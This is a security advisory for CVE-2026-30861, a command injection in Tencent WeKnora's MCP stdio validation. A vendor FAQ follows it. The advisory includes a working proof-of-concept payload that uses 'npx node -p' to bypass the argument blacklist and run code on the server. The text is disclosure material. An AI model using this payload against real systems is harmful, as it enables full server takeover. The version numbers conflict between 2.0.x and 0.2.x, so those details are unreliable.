CVE-2026-30861

A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5.

The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise.

The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.

Details

The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:

1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)
2. Obtain API authentication credentials
3. Exploit the command injection vulnerability to execute arbitrary code

The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:

1. Command Whitelist: Only uvx and npx are allowed
2. Argument Blacklist: Blocks dangerous patterns including shells, command chaining, and path traversal
3. Environment Variable Blacklist: Restricts sensitive variables like LD_PRELOAD, PATH, etc.

However, the patch has a critical flaw: the -p flag in npx node is not explicitly blocked in the DangerousArgPatterns regex list. The -p flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.

The vulnerable code flow:

• ValidateStdioConfig() calls ValidateStdioArgs(args)
• ValidateStdioArgs() checks each argument against DangerousArgPatterns
• The pattern list does not include -p or similar execution flags
• Arguments like ["node", "-p", "require('fs').writeFileSync(...)"] pass validation
• When executed, npx node -p <payload> executes the JavaScript payload

Timeline of Concern:

• Version 2.0.5: Initial patch introducing validation (incomplete/bypassable)
• Versions 2.0.6-2.0.9: Vulnerability persists with no public notification
• Version 2.0.10 (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.
• Issue: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability

This silent fix pattern poses significant risks:

• Customers may not know to update immediately
• Security scanning tools may not flag the vulnerability without a published CVE
• Organisations relying on vendor advisories have no record of the issue
• There is no documented attack history or mitigation guidance for affected versions

PoC

Step 1: Register a new account (unauthenticated)

Step 2: Create a malicious MCP service

POST /api/v1/mcp-services HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json

{
    "name":"rce",
    "description":"rce",
    "enabled":true,
    "transport_type":"stdio",
    "stdio_config":{
        "command":"npx",
        "args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"]
    },
    "env_vars":{}
}

Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)

Step 3: Trigger the RCE by testing the service

POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json

{}

Step 4: Verify exploitation

On the server, the file /tmp/pwned.txt will be created with content "Hacked by attacker", confirming arbitrary command execution.

Severity: Critical

Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.

• Full data breach and system compromise
• Install malware, backdoors, ransomware
• Lateral movement to internal systems
• Versions 2.0.5-2.0.9 vulnerable without notification

Immediate Actions:

1. Upgrade to 2.0.10+ immediately
2. Review logs for exploitation since 2.0.5
3. Check for suspicious MCP configurations
4. Monitor for unauthorized file creation
5. Assume breach if compromise suspected

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-30861 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.2.10); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-30861? CVE-2026-30861 is a critical-severity OS command injection vulnerability in github.com/Tencent/WeKnora (go), affecting versions >= 0.2.5, < 0.2.10. It is fixed in 0.2.10. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-30861? CVE-2026-30861 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/Tencent/WeKnora are affected by CVE-2026-30861? github.com/Tencent/WeKnora (go) versions >= 0.2.5, < 0.2.10 is affected.
4. Is there a fix for CVE-2026-30861? Yes. CVE-2026-30861 is fixed in 0.2.10. Upgrade to this version or later.
5. Is CVE-2026-30861 exploitable, and should I be worried? Whether CVE-2026-30861 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-30861 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-30861? Upgrade github.com/Tencent/WeKnora to 0.2.10 or later.